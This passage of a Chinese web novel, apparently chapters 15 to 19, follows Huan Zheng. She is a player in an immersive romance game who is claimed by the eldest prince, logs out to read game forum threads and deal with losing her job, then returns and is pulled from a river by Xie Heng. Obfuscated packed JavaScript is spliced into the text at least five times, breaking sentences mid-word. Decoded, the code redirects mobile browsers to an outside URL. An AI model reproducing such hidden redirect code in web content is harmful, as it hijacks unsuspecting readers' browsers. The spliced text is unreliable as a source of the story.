李姝羽出身广平李氏,宫中淑妃是她姑母,她是大皇子与九公主的亲表妹。 不久之前,表姐司马婧在裴氏吉宴上遇刺。虽然刺客的身份至今未查明,但具体是哪边动的手,他们都心照不宣。碍于没有充分的证据,崔氏又正得恩宠,无法定罪报复。 万幸凶器只是一根毒钗,体内的毒素消解之后,司马婧很快恢复健康。 但心毒难平。 桓筝的背叛于她而言打击不小,紧接着谢珩又被她从身边抢走——那是司马婧从小喜欢到大的男子。 也正是这个男子,新婚才几日,便倒戈到另一个女人的枕边,还是在明知那个女人是拆散他们的罪魁祸首的情况之下。 司马婧满腹苦水,无处倾倒,连日不见笑颜。淑妃看不下去,让侄女挑个好天气带女儿去游船散心。她听说了,李氏命工匠精雕细琢出一条画舫,名梦云舟。如今正是玩水的好时节,刚好也能让小辈们联系感情。 李姝羽奉命进宫邀请九公主,恰巧碰见了在清暑殿商讨完政务,一同漫步出来的大皇子与裴元启。 听到她们要去坐李氏新竣工的画舫,司马煦颇有兴致地拉上裴元启一起。 司马婧没有表态,直到被对面的人深深盯住,才将头转向一旁,默许了。 路上,她无视裴元启的存在,却不排斥和他的相处。 李姝羽看在眼里,趁只有两人在的时候小声问她,和驸马相处如何,有没有圆房? 司马婧点头,神情郁闷,耳朵却红着。 李姝羽便不知怎么说了。 如此想来,表姐这些日子的不快是因为深情吧。 堂堂公主殿下,已有了其他合心人做夫君,却仍对少时的爱人念念不忘。 谢珩定是前世修来的好福气。 几人一同泛舟青溪。 微风阵阵推送着清凉,水面皱出粼粼波光。 李姝羽安静欣赏水景,回过神来,司马婧与裴元启另放了一叶小舟进水,举止亲密,靠着肩膀说话。 她望着,心里生出羡慕。 李姝羽也快成婚了。她嫁的人不比裴元启,谢玟和她只见过寥寥数面,双方定下婚约,也不过是巩固李氏与谢氏结盟的牵强之举,没有半点感情。 总觉得好可惜,一辈子都感受不到真正的爱情。 爱是什么? 身边最能诠释这个字的人,是桓筝。 没想到,她在下一刻就看见了桓筝。 她也来游水了,带着她的两个侍女,游一艘寒酸的小船。 这就是她费尽心机嫁进谢氏,想得到的东西吗?没看错的话,岸上还有谢珩的手下在监视她。 李姝羽有一种见证恶人有恶报的爽感。 但桓筝并非她想象的憋闷,她像是真的对划那么简陋的船感兴趣,眼睛从始至终都是亮的。 因为这股精神气,她看上去有种别样的、柔软的美,像檐下晒太阳的猫,感觉毛茸茸,很好摸。 瞧她自作主张划桨的样子,她那对双生侍女都不知如何反应了。 好堕落,自甘下贱的事也做的出。 ……她的桨掉水里了。 真的像猫一样,两手把着船沿,捞不回来,就眼睁睁看着船桨漂远。 司马煦在船舱里休息。精致的画舫里只剩她一个无聊的人,偷偷注视着桓筝。 怎么所有人都束手旁观?捞起船桨还给她是件很难的事吗? 李姝羽不做,是因为桓筝与公主反目,公主是她表姐,她有立场。 别人呢? 嫉妒她的才名,轻蔑她的出身,嘲讽她的婚事。 他们都在看她的笑话。 船桨漂到司马婧的船边。 小舟被画舫挡着,没人发现九公主也在场,否则场面就要乱成一锅粥。 裴元启手伸入水,掌心翻转,搅动水流使船桨向他漂去,握进手掌。 司马婧神情冷淡:“不愧是合作过的盟友,见不得她落难出丑。” 说着,她起身迈向画舫。 “你要还桨便自己去,我去找我…!” 她被裴元启拉回怀里。 他们旁若无人地拥吻。 裴元启扔还那支船桨,故意捅穿桓筝的船。 周围实在有许多船只。 如果桓筝愿意抛弃脸面求救,这便只是裴元启给她的一次光明正大的回敬。 但直到水漫过舟身一半,桓筝都没有露出焦急狼狈的神色。 和侍女说说笑笑间,她径直跳入水中。 就不怕湿了衣裳,名节受损吗? 要是真那样…… 李姝羽心想,也算桓筝应得的。 啊,她浮水好奇怪,像只田鸡。 没忍住笑了出来,就那一声,被她给听见了。 她目光灼灼,调转方向,朝李姝羽游了过来。 水纹向后,她越来越近。 做什么? 要骂她,还是要打她? 不会给她这个机会的,表哥表姐都在这!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253778|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>至近之处,桓筝攀住画舫船头的浮雕祥云,撑出浮光跃金的水面。水流沿着她的肩膀、衣摆滑落,纷纷扬扬坠入水中,发出哗啦啦的声响。 日光澄澈明亮,湿发紧贴她的脸与脖颈,宛若蔓回的花枝。发丝的末端还滴着水,水珠淌过她隐约露出的锁骨,与浸湿的衣料混在一起。 李姝羽后退的动作顿住,便被她俯身凑近,神情认真地在鬓间插了朵荇花。 心跳一瞬超快。 嘭嘭嘭,仿佛有烟花炸开。 桓筝说她长得美,允许她嘲笑她。 可她又不是只有今天才美。 为什么、为什么之前相识十余年,她眼里只装着谢珩,只装着表姐,从来不愿搭理她一下呢? 始料未及的还有,表哥盯上了桓筝。 他说想要她。 疯了吗?再怎么说,桓筝也是谢氏的新妇。他身为皇子欲夺臣妻,先不说史书如何编排,谢氏被他辱了脸面,还会继续支持他上位吗? 他们家向来节义流誉,绝不可能在名声上妥协,说不定就此倒戈。毕竟能当皇帝的皇子又不是只有他一个,除了他,还有四皇子。 桓筝向司马煦阐明利害,祸水东引给谢玟。 她好不讲理,让司马煦去抢谢玟的未婚妻。 等等,谢玟的未婚妻…… 是她!! 司马煦根本不等李姝羽的回复,无赖道:“我表妹不愿意,我就要你。” 你委婉道:“我也不愿意,所以殿下放过我……” 不能轻举妄动,来青溪前没有存档。 时间距离最近的档位是在许多天前强吻谢珩的那个早晨。在桓府面对父亲做选择那次,你没有存档。 游戏内的时间是你身临其境一点点度过的,如果一下回溯那么久,你感觉不值。 这个档位虽然没有数值上的大跨越,但你与攻略对象谢珩之间相处得已经熟稔融洽,继续下去通关不是问题。 现在却倒霉地被这个大皇子咬住。 只有摆脱他,剧情才能回到正轨。 问题是,怎么摆脱他?他和谢珩明显不是一个段位,稍微处理极端,便会产生无法预料的糟糕后果。 你有做招惹他的事吗? 耳熟的疑问。 没有,今天才见到第一面。 打开人物档案,也没从经历里找出什么特别的点。 他是在给谢珩找麻烦? 因为谢珩辜负了他妹妹,爱上了你? 冤枉。 16.第 16 章 树上、水中、船内。 到处都是司马煦侍卫的身影,以及戏谑围观的贵族男女。 一旦表现失误,读档前的惨剧将再次重演。 不想让她们死。 不想让她们因你而死。 可是想不到办法。 这是一种非常消极的情绪,使你在游戏里感到被动和无力。 【确定要退出游戏吗?】 【yes】 眼前的场景瞬间被黑暗消解。 再睁眼,你看到的是头盔内部闪烁的蓝色荧光。 一闪、一闪。 时间:22:03 游戏里湿溻溻的衣裙□□燥柔软的睡衣代替,或许是分别已久,你感觉自己的床格外舒适。 静静打滚感受一番,你将数据线和头盔缠到一起,摆到床头柜空着的地方。 手上搜索《恶毒女配向前冲》的游戏论坛,输入第一关的关键词。 #大皇子 【[hot]困难模式:大皇子脑子有问题,把我和谢珩的孩子抢走了】 1L(楼主):我真服了,通关进度97%,善良值89,才女称号10级,距离通关临门一脚,他把我崽给抢走失踪了!狗剩的人贩子,谢珩被他给气死了!我这关又没过去! 2L:哈哈哈哈 3L:好牛的数值 4L:楼主是不是选错选项,把司马煦的隐藏剧情开起来了? 5L:他还有隐藏剧情?我错过了什么?我觉得他还长得蛮帅 6L:有的。前期是翠柳准备外出装扮那里,选鹅黄那套就会遇见司马煦。后期是老皇帝病重,谢夫人带玩家去守一观祈福,选跟谢珩一起也会遇到他。这人挺麻烦的,只要遇见了就要被他纠缠一阵子。 7L:三选一我选的水粉,和老公哥甜蜜蜜约会了,道观那次我没去,一直到通关都没遇见过司马煦,我是不是太幸运了! 8L:我走过司马煦剧情,只能说不开会遗憾,开了会后悔,因为得从头读档,平衡数值…… 9L:有没有玩普通模式的姐妹说说怎么对付这个人啊,虽然还没遇到,但是有点怕 10L:楼上普通模式档一个样,别人的经验没有参考价值,建议你多存档,多探索。 11L:路过,我也是没遇见过大皇子的幸运者,他到底为什么要抢孩子啊哈哈哈 …… 你继续搜索。 #三选一 【困难模式:翠儿服饰黄绿粉三选一攻略】 1L(楼主):整理自用。换装环节,套装与各项数值息息相关。众所周知,除了体能,其他的数值增加条件都是一次性的。三套装扮里只有【鹅黄】会加美貌,直接送到美貌二阶的那种。【浅绿】送的是“心性1”,【水粉】送的是“心性3”,选【浅绿】会加恶值,选【水粉】会加善良值。 2L(楼主):有关剧情分支。【鹅黄】对应的是大皇子司马煦的隐藏剧情。建议大家回避这个人,他的性格标签有凶残,只要跟他见一面就要被纠缠不停,非常影响通关进度。普通难度的玩家除外,你们可以依据自己档内的具体表现衡量要不要见这个人。 3L(楼主):【浅绿】对应的是女主司马婧。这条线路的正确选项是【哀求】,被谢珩看到加5好感,减10声望(丢脸所致),属于有意为之。为了高好感选这条线的玩家需要注意恶值,之后可以通过刷任务平回去。 4L(楼主):【水粉】对应谢珩。这小子喜欢这个颜色有莞莞类卿嫌疑,女主小时候喜欢穿粉色。两眼一闭过剧情的话也算是甜,加2好感,就……见仁见智吧。 5L:dd感谢分析 6L:感谢楼主,我必选绿的! 7L:有没有普通模式的攻略帖啊…… 8L:楼上是萌新吧?普通模式开不了攻略帖的,npc性格、忠诚值都随机,自己的档位性格都有出入,更不用说玩家之间了,我们都说普通模式是真困难模式[捂脸] …… #隐藏剧情 【困难模式:码一下大冰箱的隐藏剧情】 1L(楼主):涉及剧透,最好是有过一次通关经验来查缺补漏,游戏这方面做得很真诚,自己发现最好。来自坑底的楼主留。 …… 你十分听劝地退出了剧透帖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256709|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 又在广场上刷了几条辱骂,挨骂的角色名称陌生,应该是后面关卡的吐槽。 你点击右上角的加号,按照论坛的格式编辑帖文。 【普通模式:忘记存档,最近档时间跨度太大,又遇见司马煦被纠缠,怎样才能无痛通关?】 发出去以后,你上下刷新,期待同好的回复。 两分钟过去,无人问津。 不过把前公司同事的微信消息刷出来了。 【我今天听到老祁跟那帮男的蛐蛐你】 【你真不干了吗呜呜】 好好的心情就这样降下去。 你扣住手机,凝望只有一层微光的天花板。有了游戏里的经历,再回到现实思考这些事,有种恍若隔世的奇妙之感。 特别吃灵感的视觉设计岗,处于高压状态的能力平凡的小职员,被同事(男)用AI作品嘲讽能力后破防,连带着支持他的领导也被喷了一顿。 就是这样一个简单到透着愚蠢的故事,让你结束了离开校园时代的第一份工作。 你打字给前同事:【说我什么啦?】 前同事:【说你被AI淘汰,是封建糟粕[冷汗]没人搭理他都】 你:【真想扇他】 前同事:【哈哈哈哈】 你:【谢谢你,以后不用跟我说了,休息一段时间,我会另外找工作】 前同事:【希望你能找到好工作[双手合十]】 前同事:【到时候内推我,我跟你一起】 你:【好】 聊天结束,你感觉眼睛有些酸涩,放下手机入眠。 久违在被窝里睡觉,旁边没有其他男人躺着,宽敞的一张床都是自己的。 真舒坦。 你抱着被子合眼,脑子里回想起翠儿柳儿被刀砍死的画面。死之前,她们都还在竭力挣扎,最后首级垂落,她们眼睛张着,却再看不见东西。 怎么敢的? 伤害别人都无所谓,为什么要伤她们? 归根结底还是你这个老板做得不好。那些人不尊重你,也就不会尊重你的员工。 坚定着报复的想法,你睡着了。 17.第 17 章 上午十点。 你吃着白粥搭配煮鸡蛋的早餐,默默咀嚼食物质朴的本味。 妈妈打扫完家里的卫生,过来摸你的头发:“今天表现不错,吃饭的时候没看手机。” “……” 在游戏里过惯了古人的日子,如果没有她的提醒,你都忘了手机这回事。 “妈。” “嗯?” 你放下筷子:“我遇到了点麻烦。” 妈妈坐到你对面的位置:“什么麻烦?说来听听。” 你认真道:“就是……我已经结婚了,却不小心被大皇子看上,他想把我抢走。” 你经常心血来潮说奇怪的话,妈妈早已见怪不怪,顺着你给的情境思考:“你想跟他走吗?” “没什么想不想的。”你盛了勺粥喝,“我得跟谢珩在一起才能通关,这个大皇子耽误我事了。” 妈妈笑道:“你总有那么多正事做,这个耽误,那个也耽误。别焦虑,静下心看看,喜欢就接触接触。” “嗯。”你嘴上答应,思绪渐渐发散到远处。 妈妈敲了敲你的饭碗:“快点吃,这碗饭吃半个多小时了。不饿就放下,等会儿我们去公园打球。” 你端起粥碗往嘴里倒,喝干净后咂了咂嘴:“没空,你找别人吧,我打算在网上看看工作。” “工作不着急,又不是没钱花。你把情绪调节好了再找工作也不迟,有妈在,少干一天也饿不死你。” 她坚持认为你心理方面出现了问题,需要休养治愈。 你当她小题大做。 现在的人,谁心理没个小问题。 谁先暴富,谁先自愈。 就这样,你跟妈妈在公园阴凉处打了半天的球。看着羽毛球在空中来来回回,精神确实松弛不少。 午饭在附近的老餐馆解决,你点了黄焖鱼翅、溜鸡脯、绿豆沙、海鲜粥。 服务员是有些年纪的老人,笑眯眯记下你点的菜,跟妈妈夸你会吃。 菜名送进了后厨赶制,老人留下与妈妈寒暄热聊。她对你的年纪表示吃惊,因为你看上去年龄不大,像是学生,没想到都毕业几年。 “做什么工作啊?” 你扯着的嘴角有些疲惫了。 妈妈握住你的手,笑:“没让她出去工作,家里养着呢。” 老人艳羡道:“真好。” 没人深问。 之后陪妈妈去看缝纫机。 她最近有了自制衣服的爱好,各方面权衡,选了一台小巧的机器,不用的时候刚好可以塞进客厅里的鱼缸旁。 余下时间在商量选什么布料做裙子更好中度过。 吃了晚饭,你洗漱完毕躺到床上。 虽然白天一直在做的别的事,但游戏的事也没被你抛到脑后。 你只是没什么思路。 打开手机,进入游戏论坛网页,右上角发现了数字3的红点。 你发表的【普通模式:忘记存档,最近档时间跨度太大,又遇见司马煦被纠缠,怎样才能无痛通关?】收到回复。 1L:普通模式不好说,理论上只要谢珩活着,让他知情你的罪名清单并爱上你,就算通关。npc你不用怎么理,活下去就能苟到胜利! 2L:楼主趁年轻换个模式吧,普通模式大佬都玩不明白,还没有攻略 3L:一楼不理应该不行,司马煦不吃冷处理,又行动性超强,很可能因为某个契机毁灭全档。楼主是普通模式,感到困扰的话,不如尝试向任务对象求助,有时会有奇效。 ——没有更多回复—— 尽管没有找到完美的应对诀窍,但“向任务对象求助”这条你听进去了。 可以先对司马煦假意逢迎,回家让谢珩想办法。 你们是夫妻,司马煦要把你抢走,凭什么只有你一个人绞尽脑汁拒绝? 存个档,欣赏下他焦头烂额的样子。 佩戴装置,你启动游戏。 【欢迎登入】 【数据加载中……】 “噗!” 水??? “咳咳!啊!咳!!” 你身处于一片只有月光的水域。 两岸漆黑的柳影如蛛丝般在夜风下筛动,耳边堵了一股又一股的冷水,仿佛快要穿透耳膜。 【体能-1】 【体能-1】 【健康-5】 “救命——咳咳咳!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265290|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 游泳之于你,原本就半会半不会,不必说这种没有丝毫准备就进水的突发情况。 【健康-5】 【你即将溺水……】 “救命!!” 身体变得好沉。 为什么,到底为什么? 你不是应该出现在李姝羽那只大船上? 旁边还有很多很多人,认识的、不认识的、翠儿、柳儿。 为什么船和大家都不见了? 闭着眼,虚无里出现了闪动的红光。 你打开读档页面,准备回到与司马煦对峙的那个时间。 【确认】键尚未按下,你突然腰腹一紧,水声割裂水面,被人安置到平坦的甲板上。 “筝娘!筝娘!” 是谢珩的声音。 闪动的红色边框消失了。 你被翻了个面,腹部抵在他支起的膝盖上,谢珩用力按压你的后背。 “呕……” 你吐出了许多水。 有的呛进了鼻子里,激得你不住咳嗽。 “筝娘!” 谢珩抱起你,从阿问手里接过斗篷,将你严严实实裹住。 你的咳嗽渐渐平息,双手被他握在掌心,轻轻呼气,揉搓。 “好些了吗,筝娘?” “我们马上就回到岸边,岸边有医女留守……” 你已经没事了。 呛着的水吐出去,就算还有不适,也是极度紧张后的体力亏空。 反倒是他,眼中有异样血丝,应该是在水里睁眼太久的缘故——他浑身湿淋淋的。 你逐渐理清现状。 黑夜,水中。 根据周围的植被可以推断,这里是白天游船的地方。 剧情进展中,登入游戏的地点和退出游戏时的地点保持一致。 上次退出游戏是在新婚之夜的第二天早晨。那次退出游戏的时间短,又在相对安全的床上,所以你不曾留意到登陆回来的变化。 而这次,退出游戏的地点是船,你还在游戏外度过了一天一夜。再回到游戏,时间以一定的换算公式向后推移,白天的船也被主人收回,你掉进了水里。 那么,现在是什么情况? 18.第 18 章 “她怎么样?” 面对谢珩急切的追问,医女看了你一眼,露出费解的神色:“少夫人无事。” “当真无事?” 医女重复:“无事。” “脉象虽缓,但节律规整,是受惊后的正常反应。少夫人回去以后,要好好休养,平复心神。” 披风直拢到脖颈,你在谢珩的怀里点头。 医女领了诊钱,低身退下。 河岸,夏风静静吹拂,月辉像凭空洒下的薄纱。 谢珩发髻松散,抱你时湿冷冷贴着你的脸,距离过近,听得见他轻浅的呼吸声。 是错觉?似乎比之前粘人了。 你推了他一下,他顺从与你分开,浓重的夜色相隔,只知道这是个好看的人,分辨不清他的表情。 阿问万分心疼地找另一件斗篷给他家公子披上。 “刚刚该让竹姐给公子也看看的,您在水下找那么久,定然受凉!哎呦,眼睛痛不痛啊?” 谢珩侧头躲开:“我没事。” 你扬眉:“找什么?我?” 阿问还算心平气和,但语气仍遮掩不住发酸:“自然,除了您,还有谁能让我们公子亲自下水找?” “少夫人,您今天真是太鲁莽了,当着那么多人的面跳水,要是真出个好歹怎么办?” “大殿下把整个青溪翻了一遍,没找到您,告到公子面前说您死了。差点给公子吓晕,想问你那对双生侍女发生了什么,她们就知道哭闹殉主,话都不好好说。” 你道:“翠儿柳儿如何了?” “我没让她们死成,阿瑞正看守她们。” 阿问唉声叹气给谢珩擦水:“看看,我们公子手都被泡皱了。未时下水找的您,一直找到现在,都后半夜了,劝也劝不听。” 你从他那接过谢珩的手。 触碰的瞬间,彻骨寒意汹涌而来,温度仿佛隔了遥远的雪境。 估算未时为下午一点,他是泡在水里找了你整个下午,在你不存在的前提之下。 他一直停留在你消失的地方。 直到听见你的求救。 【谢珩好感55/100】 只要这么一点好感,就可以如此忠心了。 怪不得女主喜欢他。55好感能做到这个程度,他全心全意爱一个人会是什么样子? 你亲吻他的手背,学他刚刚给你呼手的样子,吹吹他的手。 感受到你嘴唇的触感,谢珩颤了下,没有把手抽回。 倒是把阿问的唠叨话给打了回去,他挠挠脸,无语之中选择背对你们。 “谁看见我跳水了?” 谢珩倏地抬眼:“有人推你?” “你先闭嘴。” “……” “阿问,我在问你话。” 谢珩眸子垂了下去,手也从你掌心抽走,但你根本不在意。 阿问感到莫名:“你跳水……在场的人都看见了。李小姐特地派人来咱们府上赔罪,说是夫人你自己想跳,跟旁人没关系。” “你、你不会是想污蔑公主……” 你追问:“就没有别的说法?” “什么别的说法?” “我像沙子一样随风飘散、像花瓣一样随风飘散、像蒲公英一样随风飘散。” 你很好奇游戏是否存在退场UI。 阿问嘴角抽了抽:“您真幽默。” “虽然没有‘随风飘散’,但的确有传言说您是仙女,青天白日,凭空消失。” 他笑:“夫人可满意?” 你没有笑,他的笑便也尴尬消散,而且他发现公子在瞪他。 一次两次摸不着头脑,次数一多,阿问就反应过来公子是为了什么。 公子不喜欢他和桓小姐说话。 “咳,我去看看咱们府的马车怎么还没来。” 阿问惊慌地溜走了。 你拢着斗篷,思索游戏内外时间异步运行的规则。 玩家在游戏内部度过的时间不会影响到现实。而在现实中度过的时间会以大约2:1的比例换算进游戏,构成时间差。 倒是无所谓,不耗费现实时间就还照常玩。 下次退出游戏的地点需要谨慎。不能在水上,不能在别人家里。 之后如果发生激烈争端,还可以用“退出游戏”避祸。 在外面多待几天,到时候骂人的、打人的、杀人的都走干净了。不用费精力冲突,就能够平安度过难关。 “我听说了今天的事。” 谢珩的声音在身侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272181|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起:“你……” “别怕。” 他摇了摇头:“不对,我该问你的是,你愿意吗?” “你似乎,没你口中所说的那般喜欢我。如果好看是你钟情于人的标准,大殿下是不是也——” 你掐住他的嘴唇,上下捏合在一起。谢珩与黑夜融为一体的眸子骤然睁大,将整个你都放进了眼里。 你在这里存档。 这次吃了没多存档的亏,以后你决定没事就存档试试。反正总共有十二个档位,你才用了五个。 现在存进第六个。 “我不愿意。” “说了喜欢,你要乖乖信,听到了吗?” 你重复:“听到了吗?” 被你捏着嘴唇的,无法开口、又不想发出“呜呜”之类不体面声音的谢珩点头。 于是你满意松手。 原地站起身,将他也拉了起来。 他的目光黏着在你身上,穿过树影,站到了有月光的地方。 你看清了他的面容。 湿润成绺的碎发像故意做了造型般至纯至欲,眼白微红,目光和月华一同照向你。 目不转睛盯了会儿,将他盯得眼神躲避,你的睫毛忽闪忽闪眨动。 “给我亲一口。” “……嗯。” 他听话俯身,闭眼。 你咬住他的上唇,待要深入,被他抵住肩膀。 “不是只亲一口?” 对上你质疑的眼神,他轻轻笑了,揽过你的腰低头。 第二次主动亲。 你没有闭眼,抽离地看着近在咫尺的他,见证他一日日地累积爱意。 继续这个档下去,通关应该不成问题。 谢珩察觉了你的心不在焉。 他牵起你的手:“你真的不想嫁给大殿下吗?” “不想。”暂时。 你道:“我讨厌别人逼我做事。” 谢珩神情一怔。 “公子!公子!坏了!” 阿问狼狈跑来:“公子!府君来了!” “父亲?” “正是。府君跟大皇子殿下一起来的!还……” “还什么?” 阿问硬着头皮:“还抬了少夫人的嫁妆!” 19.第 19 章 嫁妆共有八箱。 依次为【蜀锦】、【细绢】、【宝石(红、蓝)】、【南洋珍珠】、【越窑青瓷】、【田产簿本】、【名家书画】、【奴仆契约】。 都不是什么大件,体量不一,但盛放的箱子是同等规格的楠木。箱盖微隆,边缘刻有线条流畅的叶纹,开关处镶嵌了羊脂白玉。 很能让人体会买椟还珠的想法。 谢父面色不虞催促:“桓小姐,还没看好吗?” “谢氏不可能在你这几箱嫁妆上做手脚,礼单就在这,回去以后你尽管慢慢清点,有任何缺漏报来谢府,我们可十倍赔偿。” “不用,我看完了。” 你站回到谢珩身边,朝着谢父淡道:“所以是什么打算?你们要休了我,把我献出去吗?我这边可要归还聘礼?” “筝娘!”谢珩急促叫你。 他拉过你的手,站到你身前与谢父对峙。 “父亲,为何要我与筝娘和离?殿下此行异端之事,我等身为臣子,食君之禄,明知殿下有过而不谏,实在罔顾职责,有负圣——” “子瑜,住口,殿下就在不远处,你要谢氏与殿下生隙吗?” 谢父神情严厉:“你口口声声忠君之道,却连一个女人都不能心甘情愿献给君上,这是哪门子的忠诚?” “桓筝,桓小姐,你父亲深受陛下圣恩,屡次提携,从吴江一跃进了建康。君恩难报,本该来世做牛马偿还,正逢大殿下于你有意,为何不在此世舍身还恩?嫁入皇室,即便为大皇子妾室,以后也定然前途无量。” 他话中有隐喻,暗示大皇子以后会在谢氏的扶持之下继承皇位。如果你乖乖识相与谢珩和离,跟着大皇子做妾,目下虽从正妻降到了妾室,但往长远看,来日若成为后妃,那是比谢氏宗妇高贵很多的身份。 “桓小姐,你是聪明人,既然和我儿无缘,缘在他处,何必强求?” “父亲!” “子瑜!你愤慨至此,可还能记起你曾祖母的教诲?她老人家最怕的就是你像我一般耽于女色,一生碌碌无为,给谢氏抹黑。但为父觉得,你还不如像我!至少我不会因情爱耽搁大局!” 你道:“什么是大局?” 谢父道:“谢氏与大皇子亲厚,便是大局!” 你点点头:“哦,那你也嫁给他如何,比嫁儿媳更近一层的关系,是不是更亲厚?” 谢父疑心自己听错了:“你说什么?” “我说,你那么重大局,就做我的陪嫁,好好跟你的大皇子殿下亲厚。反正你觉得这没什么。放心,殿下不要你,我帮你说情。我去跟殿下说,我给他做夫人可以,但他要把我公公也纳进门,做个风韵犹存的男妾,你说他会不会答……” “荒唐!” 他气得瞳孔紧缩,热血上涌,来回走了几步:“荒唐!” “这是!这就是你们桓氏教导出的女儿!对长辈言辞轻慢,宛如乡野村妇!” 你笑:“那你好幸运啊,遇到那么善良的乡野村妇。我这其实还真有两招乡野村妇的功夫,你想领略一下吗?” 谢父恨极咬牙,手挥起来,出于种种顾虑,这一掌甩到谢珩的脸上。 闷重的一声响,将谢珩打得脸转向侧旁,手抬起便红肿了一层。 “子瑜!看你娶回来的好夫人!” 你面无表情挽衣袖,打算替谢珩还回去,却被他拽住,轻轻摇头。 “父亲,宽限些时日,筝娘是孩儿的妻子。” 他不再据理力争,态度服软。 到底是家里清风明月供养长大的嫡子,关键时刻的服软效果不错。 谢父有些动摇,但只有那么一些。他背过身不看他:“以为我看不透你拖延时间的心思?你是我儿子,心里想什么都逃不过我的眼睛。我劝你别做多余的事,就此认命,你办不到的。” “我可以放给你一句话,给你一晚上的时间,你去求平日里溺爱你的长辈,只要有一人松口为你求情,我便舍出我的脑袋与大皇子反悔,保住你的夫人。只要一个人松口就可以。” “子瑜,你该长大了。” 留下这句话,谢父使人抬着你的嫁妆原路返回。 阿问将马车牵过来,气氛实在沉重,他踌躇着不敢接近你们。 大皇子殿下也是,怎么突然就看上了桓小姐? 桓小姐十岁出头便跟在公主身边,至今算起来有八年多,这么多年,总有些时候他们能在凝香宫碰到,为什么那时候大皇子没看上桓小姐,非要她跟公子成亲以后,日子慢慢过上正轨了,才突然对桓小姐钟情? 难道……不对,不应该。 但就是…… 会不会是…… 会不会是公主殿下从中作梗,不想让桓小姐顺顺利利和公子日久生情,串通她皇兄对桓小姐做了这些事? 谢父那边与大皇子交代一番,不知说了什么,司马煦朝你与谢珩转头,露出一抹意味深长的笑。 笑什么? 谢珩扶你上了马车,两人都坐稳,阿问驾车启行,马车缓慢稳重地向前移动。 “——吁!” 车厢突然晃动,外头传来马匹的嘶鸣。紧接着帘子被人从外面掀起,露出司马煦一双深邃漆黑的眼,挺直的鼻梁完美切割出一块灯光的阴影。 “答应嫁我了,为什么还跟他走?” 你很想说自己没答应,答应的是谢父。 但这么说的话,这人一定不会善罢甘休,今天又要无限拉长,和即将到来的第二天衔接到一起。 在你犹豫的时候,司马煦发出一声轻笑,鼻子里哼出的气声。 “原来没答应?” “没关系。” “你可以先逃着试试,这次我数六十下。” “抓到你——” 他抬手指谢珩:“我就杀了他。” 你:“……” “那你下去数吧。” 你把他推出车厢,命令阿问:“驾车!” “是!” 马车晃动激烈前行。 司马煦望着驰行远去的车影,起先有些愣怔。 这种驱逐的行为对他来说是特别的待遇,皇室的长子,尤其是在中宫没有皇后的情况下,意味什么不言而喻。从小到大,身边的人都恭敬着对他。 过了片刻,他呵笑出声,将前来搀扶他的宫人吓了一跳。 你这边,在水里折腾了一通,又穿着湿衣服说了半夜的话,回来的马车还因疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283809|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行而颠簸,达成了浑身酸痛的效果。 视线周围又一次闪烁起了红光,不过比在溺水时的红光要低很多个等级,是提醒疾病的信号。 【你已略有风寒之兆】 感冒了。 谢珩背着你下马车,往房间里走。 待要离去时,你拽他的衣袖,攀着握住他的手。 “你想想办法,我不想离开你嫁给别人。” 谢珩温声道:“筝娘,放心,我不会让你变成他们固权的役物。” 他就那样穿着一身湿衣服离开了。 【是否视角跟随?】 看到弹窗,你混沌的脑子清醒几分。 还有这个功能? 你点击【yes】。 